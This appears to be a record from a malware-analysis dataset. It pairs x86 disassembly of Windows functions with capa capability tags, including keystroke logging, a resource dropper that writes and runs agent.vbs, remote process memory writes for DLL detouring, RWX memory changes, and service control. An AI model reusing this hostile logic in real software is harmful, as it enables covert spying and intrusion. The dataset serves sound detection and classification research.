joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1317d258
Capabilities:
Query service status
Start service
Stop service

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd8
push ebx
push esi
push edi
mov dword [ebp - 8], ecx
mov dword [ebp - 4], edx
mov esi, eax
mov eax, dword [ebp - 4]
call fcn.131455c0
xor eax, eax
push ebp
push 0x1317d333
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
mov dword [ebp - 0x24], eax
xor eax, eax
mov dword [ebp - 0xc], eax
push 1
push 0
push 0
call sub.advapi32.dll_OpenSCManagerA
mov ebx, eax
test ebx, ebx
jbe 0x1317d310
cmp dword [ebp + 0xc], 1
sbb eax, eax
inc eax
cmp al, 1
jne 0x1317d2ac
mov edi, 0x10
jmp 0x1317d2b1
mov edi, 0x20
or edi, 4
push edi
mov eax, dword [ebp - 4]
call fcn.131455d0
push eax
push ebx
call sub.advapi32.dll_OpenServiceA
mov edi, eax
test edi, edi
jbe 0x1317d30a
cmp dword [ebp - 8], 1
sbb eax, eax
inc eax
cmp al, 1
jne 0x1317d2fa
cmp dword [ebp + 0xc], 1
sbb eax, eax
inc eax
cmp al, 1
jne 0x1317d2ee
lea eax, [ebp - 0xc]
push eax
push 0
push edi
call sub.advapi32.dll_StartServiceA
jmp 0x1317d2fa
lea eax, [ebp - 0x28]
push eax
push 1
push edi
call sub.advapi32.dll_ControlService
lea eax, [ebp - 0x28]
push eax
push edi
call sub.advapi32.dll_QueryServiceStatus
push edi
call sub.advapi32.dll_CloseServiceHandle
push ebx
call sub.advapi32.dll_CloseServiceHandle
mov ecx, dword [ebp + 8]
mov edx, dword [ebp - 0x24]
mov eax, esi
call fcn.1317d070
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x1317d33a
lea eax, [ebp - 4]
call fcn.13145140
ret
Function at 0x1317d344
Capabilities:
Enumerate services

Disassembly:
push ebp
mov ebp, esp
push eax
mov eax, 4
add esp, 0xfffff004
push eax
dec eax
jne 0x1317d34d
mov eax, dword [ebp - 4]
add esp, 0xfffff7d8
push ebx
push esi
push edi
xor ecx, ecx
mov dword [ebp - 0x4828], ecx
mov dword [ebp - 0x482c], ecx
mov dword [ebp - 0x4820], ecx
mov dword [ebp - 0x4824], ecx
mov dword [ebp - 0x481c], ecx
mov esi, edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x1317d4d5
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, esi
call fcn.13145140
push 0xf003f
push 0
push 0
call sub.advapi32.dll_OpenSCManagerA
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
je 0x1317d4b7
xor eax, eax
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x10]
push eax
push 0x4800
lea eax, [ebp - 0x4818]
push eax
push 3
push 0x30
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_EnumServicesStatusA
mov edi, dword [ebp - 0x14]
dec edi
test edi, edi
jl 0x1317d49e
inc edi
lea ebx, [ebp - 0x4818]
push dword [esi]
push 0x1317d4ec
lea eax, [ebp - 0x481c]
mov edx, dword [ebx]
call fcn.13145338
push dword [ebp - 0x481c]
mov eax, esi
mov edx, 3
call fcn.131454d4
push dword [esi]
push 0x1317d4f8
lea eax, [ebp - 0x4824]
mov edx, dword [ebx]
call fcn.13145338
mov edx, dword [ebp - 0x4824]
lea ecx, [ebp - 0x4820]
mov eax, dword [ebp - 4]
call fcn.1317d1a0
push dword [ebp - 0x4820]
mov eax, esi
mov edx, 3
call fcn.131454d4
push dword [esi]
push 0x1317d4f8
push 0
lea eax, [ebp - 0x4828]
push eax
lea eax, [ebp - 0x482c]
mov edx, dword [ebx]
call fcn.13145338
mov edx, dword [ebp - 0x482c]
xor ecx, ecx
mov eax, dword [ebp - 4]
call fcn.1317d258
push dword [ebp - 0x4828]
mov eax, esi
mov edx, 3
call fcn.131454d4
add ebx, 0x24
dec edi
jne 0x1317d3f5
cmp dword [ebp - 0x10], 0
jne 0x1317d3bd
cmp dword [ebp - 0xc], 0
jbe 0x1317d4b7
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_CloseServiceHandle
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x1317d4dc
lea eax, [ebp - 0x482c]
mov edx, 5
call fcn.13145164
ret
Function at 0x1317dc94
Capabilities:
Link many functions at runtime

Disassembly:
mov eax, dword [0x13186f70]
cmp dword [eax], 2
jne 0x1317dd5e
push 0x1317dd60
call sub.kernel32.dll_GetModuleHandleA_2
mov dword [0x13186cc4], eax
cmp dword [0x13186cc4], 0
jne 0x1317dcd7
push 0x1317dd60
call sub.kernel32.dll_LoadLibraryA
mov dword [0x13186cc4], eax
cmp dword [0x13186cc4], 0
setne byte [0x13186cc8]
cmp dword [0x13186cc4], 0
je 0x1317dd5e
push 0x1317dd6c
mov eax, dword [0x13186cc4]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x13186ccc], eax
push 0x1317dd84
mov eax, dword [0x13186cc4]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x13186cd0], eax
push 0x1317dd98
mov eax, dword [0x13186cc4]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x13186cd4], eax
push 0x1317dda8
mov eax, dword [0x13186cc4]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x13186cd8], eax
push 0x1317ddc0
mov eax, dword [0x13186cc4]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x13186cdc], eax
push 0x1317ddd8
mov eax, dword [0x13186cc4]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x13186ce0], eax
ret

Function at 0x1317e8f4
Capabilities:
Create thread

Disassembly:
push ebx
mov ebx, eax
mov dword [0x1318bb7c], edx
mov dl, 1
mov eax, dword [0x13153a68]
call fcn.131442e4
mov dword [0x1318bb78], eax
mov eax, dword [0x1318bb78]
call fcn.13156a5c
lea eax, [ebx + 4]
push eax
push 0
push 0x1318bb7c
push 0x1317e598
push 0
push 0
call sub.kernel32.dll_CreateThread
pop ebx
ret
Function at 0x1317f67c
Capabilities:
Log keystrokes
Log keystrokes via polling

Disassembly:
push ebx
push esi
push edi
add esp, 0xfffffe70
mov esi, edx
mov ebx, eax
push 0x21
lea eax, [esp + 0x104]
push eax
push 0
movzx edi, bx
push edi
call sub.user32.dll_MapVirtualKeyA
shl eax, 0x10
push eax
call sub.user32.dll_GetKeyNameTextA
cmp bx, 0x14
jne 0x1317f6be
mov eax, esi
mov edx, 0x1317f80c
call fcn.13145194
jmp 0x1317f7f8
cmp bx, 8
jne 0x1317f6d5
mov eax, esi
mov edx, 0x1317f818
call fcn.13145194
jmp 0x1317f7f8
cmp bx, 0xd
jne 0x1317f6ec
mov eax, esi
mov edx, 0x1317f82c
call fcn.13145194
jmp 0x1317f7f8
cmp bx, 0x10
jne 0x1317f703
mov eax, esi
mov edx, 0x1317f83c
call fcn.13145194
jmp 0x1317f7f8
cmp bx, 0x20
jne 0x1317f71a
mov eax, esi
mov edx, 0x1317f84c
call fcn.13145194
jmp 0x1317f7f8
lea eax, [esp + 0x100]
push eax
call sub.kernel32.dll_lstrlenA_1
dec eax
jle 0x1317f79e
mov edx, 0x1317f850
lea eax, [esp + 0x124]
call fcn.131438cc
lea eax, [esp + 0x148]
lea edx, [esp + 0x100]
mov ecx, 0x21
call fcn.13143dcc
lea edx, [esp + 0x148]
lea eax, [esp + 0x124]
mov cl, 0x22
call fcn.1314389c
lea edx, [esp + 0x124]
lea eax, [esp + 0x16c]
call fcn.131438cc
mov edx, 0x1317f854
lea eax, [esp + 0x16c]
mov cl, 0x23
call fcn.1314389c
lea edx, [esp + 0x16c]
mov eax, esi
call fcn.131453a4
jmp 0x1317f7f8
push esp
call sub.user32.dll_GetKeyboardState
mov eax, esi
mov edx, 2
call fcn.13145804
push 0
mov eax, esi
call fcn.13145630
push eax
lea eax, [esp + 8]
push eax
push 0
push edi
call sub.user32.dll_MapVirtualKeyA
push eax
push edi
call sub.user32.dll_ToAscii
sub eax, 1
jb 0x1317f7da
je 0x1317f7e3
dec eax
je 0x1317f7f8
jmp 0x1317f7f1
mov eax, esi
call fcn.13145140
jmp 0x1317f7f8
mov eax, esi
mov edx, 1
call fcn.13145804
jmp 0x1317f7f8
mov eax, esi
call fcn.13145140
add esp, 0x190
pop edi
pop esi
pop ebx
ret

Function at 0x1317fcf8
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebx
mov ebx, eax
mov eax, ebx
call fcn.131455d0
push eax
call sub.kernel32.dll_GetFileAttributesA
cmp eax, 0xffffffff
je 0x1317fd11
test al, 0x10
jne 0x1317fd15
xor eax, eax
pop ebx
ret
mov al, 1
pop ebx
ret
Function at 0x1317fdb4
Capabilities:
Initialize winsock library
Resolve dns

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffe68
push ebx
push esi
push edi
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.131455c0
xor eax, eax
push ebp
push 0x1317fe64
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 8]
call fcn.13145140
lea eax, [ebp - 0x198]
push eax
push 0x101
call sub.wsock32.dll_WSAStartup
xor edx, edx
push ebp
push 0x1317fe3f
push dword fs:[edx]
mov dword fs:[edx], esp
mov eax, dword [ebp - 4]
call fcn.131455d0
push eax
call sub.wsock32.dll_gethostbyname
test eax, eax
je 0x1317fe35
mov esi, dword [eax + 0xc]
xor ebx, ebx
jmp 0x1317fe2e
push dword [edi]
call sub.wsock32.dll_inet_ntoa
mov edx, eax
mov eax, dword [ebp - 8]
call fcn.13145338
inc ebx
mov edi, dword [esi + ebx*4]
test edi, edi
jne 0x1317fe1c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x1317fe49
call sub.wsock32.dll_WSACleanup
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x1317fe6b
lea eax, [ebp - 4]
call fcn.13145140
ret

Function at 0x1317fed8
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
push 0
xor eax, eax
push ebp
push 0x1317ff41
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [0x1318bb8c]
mov eax, dword [eax + 4]
push eax
call sub.wsock32.dll_closesocket
push 0
push 0x1317ff4c
push 0x1317ff4c
lea edx, [ebp - 4]
xor eax, eax
call fcn.131432c8
mov eax, dword [ebp - 4]
call fcn.131455d0
push eax
push 0x1317ff50
push 0
call sub.shell32.dll_ShellExecuteA_1
push 0
call sub.kernel32.dll_ExitProcess_1

Function at 0x13181688
Capabilities:
Initialize winsock library

Disassembly:
push ebx
push esi
push edi
add esp, 0xfffffe5c
mov esi, edx
mov ebx, eax
lea eax, [esp + 4]
push eax
push 0x101
call sub.wsock32.dll_WSAStartup
mov dword [esp], 0x10
push esp
lea eax, [esp + 0x198]
push eax
push ebx
call sub.wsock32.dll_getpeername
call sub.wsock32.dll_WSACleanup
mov edi, esi
lea esi, [esp + 0x194]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
add esp, 0x1a4
pop edi
pop esi
pop ebx
ret

Function at 0x13181c48
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push ecx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.131455c0
xor eax, eax
push ebp
push 0x13181c95
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
call fcn.1317c0c0
push eax
push 0
push 1
call sub.kernel32.dll_OpenProcess
push 0
push eax
call sub.kernel32.dll_TerminateProcess
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x13181c9c
lea eax, [ebp - 4]
call fcn.13145140
ret
Function at 0x406e3b
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
cmp dword [0x4278a4], 0
jne 0x406e79
xor ecx, ecx
push esi
push 8
mov eax, ecx
pop esi
mov edx, eax
and dl, 1
movzx edx, dl
neg edx
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec esi
jne 0x406e4f
mov dword [ecx*4 + 0x4278a0], eax
inc ecx
cmp ecx, 0x100
jl 0x406e4a
pop esi
cmp dword [ebp + 0x10], 0
mov eax, dword [ebp + 8]
not eax
jbe 0x406ea6
mov ecx, dword [ebp + 0xc]
movzx edx, byte [ecx]
dec dword [ebp + 0x10]
xor edx, eax
and edx, 0xff
shr eax, 8
xor eax, dword [edx*4 + 0x4278a0]
inc ecx
cmp dword [ebp + 0x10], 0
ja 0x406e87
not eax
pop ebp
ret 0xc

Function at 0x401000
Capabilities:
Create process on windows
Extract resource via kernel32 functions
Read file via mapping
Set current directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x6c
push 0xa
push 1
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 0xc]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov dword [ebp - 0x18], eax
push str.TEMP
call fcn.00402697
add esp, 4
push eax
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
push 0
push 0x80
push 2
push 0
push 1
push 0xc0000000
push str.agent.vbs
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x10], eax
mov edx, dword [ebp - 8]
push edx
push 0
push 0
push 0xf001f
push 0
mov eax, dword [ebp - 8]
push eax
push 0
push 4
push 0
mov ecx, dword [ebp - 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
push eax
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov dword [ebp - 0x14], eax
mov dword [ebp - 4], 0
jmp 0x4010a6
mov edx, dword [ebp - 4]
add edx, 1
mov dword [ebp - 4], edx
mov eax, dword [ebp - 4]
cmp eax, dword [ebp - 8]
jge 0x4010c0
mov ecx, dword [ebp - 0x14]
add ecx, dword [ebp - 4]
mov edx, dword [ebp - 0x18]
add edx, dword [ebp - 4]
mov al, byte [edx]
mov byte [ecx], al
jmp 0x40109d
mov ecx, dword [ebp - 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_CancelIo]
push 0x44
push 0
lea edx, [ebp - 0x6c]
push edx
call fcn.00401c40
add esp, 0xc
mov dword [ebp - 0x6c], 0x44
push 0x10
push 0
lea eax, [ebp - 0x28]
push eax
call fcn.00401c40
add esp, 0xc
lea ecx, [ebp - 0x28]
push ecx
lea edx, [ebp - 0x6c]
push edx
push 0
push 0
push 0x8000000
push 0
push 0
push 0
push str.cscript_agent.vbs
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
xor eax, eax
mov esp, ebp
pop ebp
ret

Function at 0x40566a
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.0040532a
Function at 0x401285
Capabilities:
Parse pe header

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x138
lea eax, [ebp - 0x40]
push esi
push 0x40
push 0
push eax
call fcn.00404650
mov esi, dword [ebp + 0xc]
add esp, 0xc
lea eax, [ebp - 0x40]
push 0
push 0x40
push eax
push esi
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
test eax, eax
jne 0x4012be
xor eax, eax
jmp 0x40131e
mov eax, 0x5a4d
cmp word [ebp - 0x40], ax
jne 0x4012ba
push ebx
mov ebx, 0xf8
push ebx
lea eax, [ebp - 0x138]
push 0
push eax
call fcn.00404650
add esp, 0xc
lea eax, [ebp - 0x138]
push 0
push ebx
push eax
mov eax, dword [ebp - 4]
add eax, esi
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
pop ebx
test eax, eax
je 0x4012ba
cmp dword [ebp - 0x138], 0x4550
jne 0x4012ba
mov ax, word [ebp - 0x122]
not ax
movzx eax, ax
shr eax, 0xd
and eax, 1
pop esi
leave
ret
Function at 0x4014c0
Capabilities:
Parse pe header

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x1c0
mov eax, dword [ebp + 0x14]
push ebx
push esi
mov esi, dword [ebp + 8]
push 4
push 0x1000
add eax, 0x1b8
push eax
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ebx, eax
mov dword [ebp - 8], ebx
test ebx, ebx
je 0x4016b9
and dword [ebp - 4], 0
push edi
push 0x40
pop edi
push edi
lea eax, [ebp - 0xc8]
push 0
push eax
call fcn.00404650
add esp, 0xc
mov eax, 0x5a4d
mov word [ebp - 0xc8], ax
lea eax, [ebp - 4]
push eax
push edi
lea eax, [ebp - 0xc8]
push eax
push ebx
mov dword [ebp - 0x8c], edi
mov edi, dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push esi
call edi
test eax, eax
je 0x4016b6
cmp dword [ebp - 4], 0x40
jne 0x4016b6
push 0xf8
lea eax, [ebp - 0x1c0]
push 0
push eax
add ebx, 0x40
call fcn.00404650
xor eax, eax
add esp, 0xc
inc eax
mov word [ebp - 0x1ba], ax
lea eax, [ebp - 4]
push eax
push 0xf8
lea eax, [ebp - 0x1c0]
push eax
push ebx
push esi
mov dword [ebp - 0x1c0], 0x4550
mov dword [ebp - 0x1ac], 0x200000e0
call edi
test eax, eax
je 0x4016b6
mov eax, 0xf8
cmp dword [ebp - 4], eax
jne 0x4016b6
add ebx, eax
xor eax, eax
push 0xa
pop ecx
lea edi, [ebp - 0x48]
rep stosd dword es:[edi], eax
mov eax, dword [str..detour]
mov dword [ebp - 0x48], eax
mov eax, dword [0x44f6b0]
mov edi, dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov dword [ebp - 0x44], eax
mov eax, ebx
sub eax, dword [ebp - 8]
add eax, 0x28
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp + 0x14]
add eax, 0x58
mov dword [ebp - 8], eax
mov dword [ebp - 0x38], eax
lea eax, [ebp - 4]
push eax
push 0x28
lea eax, [ebp - 0x48]
push eax
push ebx
push esi
call edi
test eax, eax
je 0x4016b6
cmp dword [ebp - 4], 0x28
jne 0x4016b6
push 0x40
lea eax, [ebp - 0x88]
push 0
push eax
add ebx, 0x28
call fcn.00404650
mov eax, dword [ebp - 8]
add esp, 0xc
mov dword [ebp - 0x7c], eax
push 0x40
pop ecx
lea eax, [ebp - 4]
push eax
push ecx
lea eax, [ebp - 0x88]
push eax
push ebx
push esi
mov dword [ebp - 0x88], ecx
mov dword [ebp - 0x84], 0x727444
mov dword [ebp - 0x80], ecx
call edi
test eax, eax
je 0x4016b6
cmp dword [ebp - 4], 0x40
jne 0x4016b6
mov esi, dword [ebp + 0xc]
push 6
pop ecx
xor eax, eax
lea edi, [ebp - 0x20]
rep stosd dword es:[edi], eax
mov eax, dword [ebp + 0x14]
and dword [ebp - 0x1c], 0
add eax, 0x18
mov dword [ebp - 0x20], eax
lea edi, [ebp - 0x18]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
lea eax, [ebp - 4]
push eax
push 0x18
movsd dword es:[edi], dword [esi]
lea eax, [ebp - 0x20]
push eax
add ebx, 0x40
push ebx
push dword [ebp + 8]
movsd dword es:[edi], dword [esi]
mov edi, dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
call edi
test eax, eax
je 0x4016b6
cmp dword [ebp - 4], 0x18
jne 0x4016b6
mov esi, dword [ebp + 0x14]
lea eax, [ebp - 4]
push eax
push esi
push dword [ebp + 0x10]
lea ecx, [ebx + 0x18]
push ecx
push dword [ebp + 8]
call edi
test eax, eax
je 0x4016b6
cmp dword [ebp - 4], esi
jne 0x4016b6
xor eax, eax
inc eax
jmp 0x4016b8
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret 0x10
Function at 0x401f4d
Capabilities:
Parse pe header

Disassembly:
push 0x10
push 0x4579a8
call fcn.0044db90
mov edi, dword [ebp + 8]
test edi, edi
jne 0x401f69
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov edi, eax
and dword [ebp - 4], 0
mov eax, 0x5a4d
cmp word [edi], ax
je 0x401f81
push 0xc1
jmp 0x402024
mov ebx, dword [edi + 0x3c]
add ebx, edi
cmp dword [ebx], 0x4550
je 0x401f98
push 0xbf
jmp 0x402024
movzx eax, word [ebx + 0x14]
test ax, ax
je 0x40201f
lea edx, [ebx + 0x18]
add edx, eax
mov dword [ebp - 0x20], edx
xor ecx, ecx
mov dword [ebp - 0x1c], ecx
movzx eax, word [ebx + 6]
cmp ecx, eax
jae 0x40201f
mov eax, ecx
imul eax, eax, 0x28
add eax, edx
mov dword [ebp + 8], eax
push 8
push str..detour
push eax
call fcn.004054f4
add esp, 0xc
test eax, eax
jne 0x40200f
mov eax, dword [ebp + 8]
mov ecx, dword [eax + 0xc]
test ecx, ecx
je 0x40201f
cmp dword [eax + 0x10], 0
je 0x40201f
add edi, ecx
mov eax, dword [edi]
cmp eax, 0x40
jb 0x40201f
cmp dword [edi + 4], 0x727444
jne 0x40201f
cmp dword [edi + 8], 0
jne 0x401fff
mov dword [edi + 8], eax
push 0
call dword [sym.imp.KERNEL32.dll_SetLastError]
or dword [ebp - 4], 0xffffffff
mov eax, edi
jmp 0x402030
mov ecx, dword [ebp - 0x1c]
inc ecx
mov edx, dword [ebp - 0x20]
jmp 0x401fab
push 0xc0
call dword [sym.imp.KERNEL32.dll_SetLastError]
or dword [ebp - 4], 0xffffffff
xor eax, eax
call fcn.0044dbd0
ret 4

Function at 0x4022c9
Capabilities:
Parse pe header

Disassembly:
push 0x24
push 0x457948
call fcn.0044db90
mov esi, dword [ebp + 8]
test esi, esi
jne 0x4022e3
mov esi, 0x10000
jmp 0x4022e9
add esi, 0x10000
push 7
pop ecx
xor eax, eax
lea edi, [ebp - 0x34]
rep stosd dword es:[edi], eax
push 0x1c
lea eax, [ebp - 0x34]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
test eax, eax
je 0x402355
cmp dword [ebp - 0x24], 0x1000
jne 0x402328
test dword [ebp - 0x20], 0x100
jne 0x402328
and dword [ebp - 4], 0
mov eax, 0x5a4d
cmp word [esi], ax
je 0x402330
or dword [ebp - 4], 0xffffffff
mov esi, dword [ebp - 0x28]
add esi, dword [ebp - 0x34]
jmp 0x4022f3
mov eax, dword [esi + 0x3c]
cmp dword [eax + esi], 0x4550
jne 0x402324
or dword [ebp - 4], 0xffffffff
mov eax, esi
call fcn.0044dbd0
ret 4
xor eax, eax
jmp 0x402342
Function at 0x40270a
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
mov ebx, dword [ebp + 8]
mov eax, 0x150
cmp dword [ebx], eax
jne 0x4027db
cmp dword [ebp + 0xc], eax
jb 0x4027db
push esi
mov esi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
push edi
lea eax, [ebp + 0xc]
push eax
push 0x40
push 0x40
push dword [ebx + 4]
xor edi, edi
call esi
test eax, eax
je 0x4027d5
lea eax, [ebp - 4]
push eax
push 0x40
push 0xf8
push dword [ebx + 8]
call esi
test eax, eax
je 0x4027c7
cmp dword [ebx + 0xc], edi
je 0x402774
lea eax, [ebp - 8]
push eax
push 0x40
push 4
push dword [ebx + 0xc]
call esi
test eax, eax
je 0x4027b6
mov edi, dword [ebx + 4]
push 0x10
pop ecx
lea esi, [ebx + 0x14]
rep movsd dword es:[edi], dword [esi]
mov edi, dword [ebx + 8]
push 0x3e
lea esi, [ebx + 0x54]
pop ecx
rep movsd dword es:[edi], dword [esi]
mov ecx, dword [ebx + 0xc]
test ecx, ecx
je 0x402799
mov eax, dword [ebx + 0x14c]
mov dword [ecx], eax
mov esi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edi, edi
inc edi
cmp dword [ebx + 0xc], 0
je 0x4027b6
lea eax, [ebp + 8]
push eax
push dword [ebp + 0xc]
push 4
push dword [ebx + 0xc]
call esi
lea eax, [ebp + 8]
push eax
push dword [ebp - 4]
push 0xf8
push dword [ebx + 8]
call esi
lea eax, [ebp + 8]
push eax
push dword [ebp + 0xc]
push 0x40
push dword [ebx + 4]
call esi
mov eax, edi
pop edi
pop esi
jmp 0x4027e8
push 0xc1
call dword [sym.imp.KERNEL32.dll_SetLastError]
xor eax, eax
pop ebx
leave
ret 8

Function at 0x4028c0
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
sub esp, 0xc
push ebx
push edi
xor edi, edi
mov ebx, ecx
test eax, eax
je 0x4029d2
push esi
push eax
push edi
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
je 0x4029c7
mov eax, dword [ebp + 0xc]
mov dword [ebp - 4], edi
sub eax, edi
je 0x4029c0
sub eax, 1
je 0x402914
sub eax, 1
jne 0x4029c0
mov dword [ebp + 8], 2
jmp 0x402945
push 7
push 0x459038
push esi
mov ecx, ebx
call fcn.004029e0
test eax, eax
jne 0x40293e
push 7
push 0x459230
push esi
mov ecx, ebx
call fcn.004029e0
test eax, eax
je 0x4029c0
mov dword [ebp + 8], 1
push str.IsWow64Process
lea eax, [ebx + 4]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x402966
lea ecx, [ebp - 4]
push ecx
push esi
call eax
imul edx, dword [ebp + 8], 0x104
add edx, ebx
cmp dword [ebp - 4], edi
je 0x402980
mov eax, pe_nt_image_headers32
mov ecx, 0x928
jmp 0x40298a
mov eax, 0x20c
mov ecx, 0x310
add eax, ebx
add ecx, edx
mov ebx, dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
push eax
mov dword [ebp + 8], ecx
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], ecx
call ebx
cmp eax, 0xffffffff
je 0x4029c0
push dword [ebp + 8]
call ebx
cmp eax, 0xffffffff
je 0x4029c0
push 2
lea eax, [ebp - 0xc]
push eax
push esi
call fcn.004017eb
add esp, 0xc
mov edi, eax
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop esi
mov eax, edi
pop edi
pop ebx
mov esp, ebp
pop ebp
ret 8
mov eax, edi
pop edi
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x402cd0
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
lea eax, [ebp - 0x104]
push ebx
push esi
push edi
push 0x104
push 0
push eax
mov ebx, ecx
call fcn.00404650
push 0x104
lea eax, [ebx + 4]
push 0
push eax
call fcn.00404650
push 0x104
lea eax, [ebx + 0x108]
push 0
push eax
call fcn.00404650
push 0x104
lea eax, [ebx + 0x20c]
push 0
push eax
call fcn.00404650
add esp, 0x30
lea esi, [ebx + 0x61c]
mov edi, 3
nop word [eax + eax]
push 0x104
lea eax, [esi - 0x30c]
push 0
push eax
call fcn.00404650
push 0x104
push 0
push esi
call fcn.00404650
push 0x104
lea eax, [esi + 0x30c]
push 0
push eax
call fcn.00404650
add esp, 0x24
add esi, 0x104
sub edi, 1
jne 0x402d40
push 0x104
lea eax, [ebp - 0x104]
push eax
push str._SYSTEMROOT_
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
push str.kernel32.dll
lea eax, [ebx + 4]
push 0x104
push eax
call fcn.004120c6
lea eax, [ebp - 0x104]
push eax
push 0x104
lea esi, [ebx + 0x108]
push esi
call fcn.004120c6
push str.SysWOW64detoured.dll
push 0x104
push esi
call fcn.00412183
lea eax, [ebp - 0x104]
push eax
push 0x104
lea esi, [ebx + 0x20c]
push esi
call fcn.004120c6
push str.System32detoured.dll
push 0x104
push esi
call fcn.00412183
lea eax, [ebp - 0x104]
push eax
lea esi, [ebx + 0x414]
push 0x104
push esi
call fcn.004120c6
add esp, 0x48
push str.System32_amdgfxinfo32.dll
push 0x104
push esi
call fcn.00412183
lea eax, [ebp - 0x104]
push eax
lea esi, [ebx + 0x720]
push 0x104
push esi
call fcn.004120c6
push str.System32_amdgfxinfo64.dll
push 0x104
push esi
call fcn.00412183
lea eax, [ebp - 0x104]
push eax
lea esi, [ebx + 0xa2c]
push 0x104
push esi
call fcn.004120c6
push str.SysWOW64_amdgfxinfo32.dll
push 0x104
push esi
call fcn.00412183
lea eax, [ebp - 0x104]
push eax
lea esi, [ebx + 0x518]
push 0x104
push esi
call fcn.004120c6
add esp, 0x48
push str.System32GameManager32.dll
push 0x104
push esi
call fcn.00412183
lea eax, [ebp - 0x104]
push eax
lea esi, [ebx + 0x824]
push 0x104
push esi
call fcn.004120c6
push str.System32GameManager64.dll
push 0x104
push esi
call fcn.00412183
lea eax, [ebp - 0x104]
push eax
lea esi, [ebx + 0xb30]
push 0x104
push esi
call fcn.004120c6
push str.SysWOW64GameManager32.dll
push 0x104
push esi
call fcn.00412183
add esp, 0x3c
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret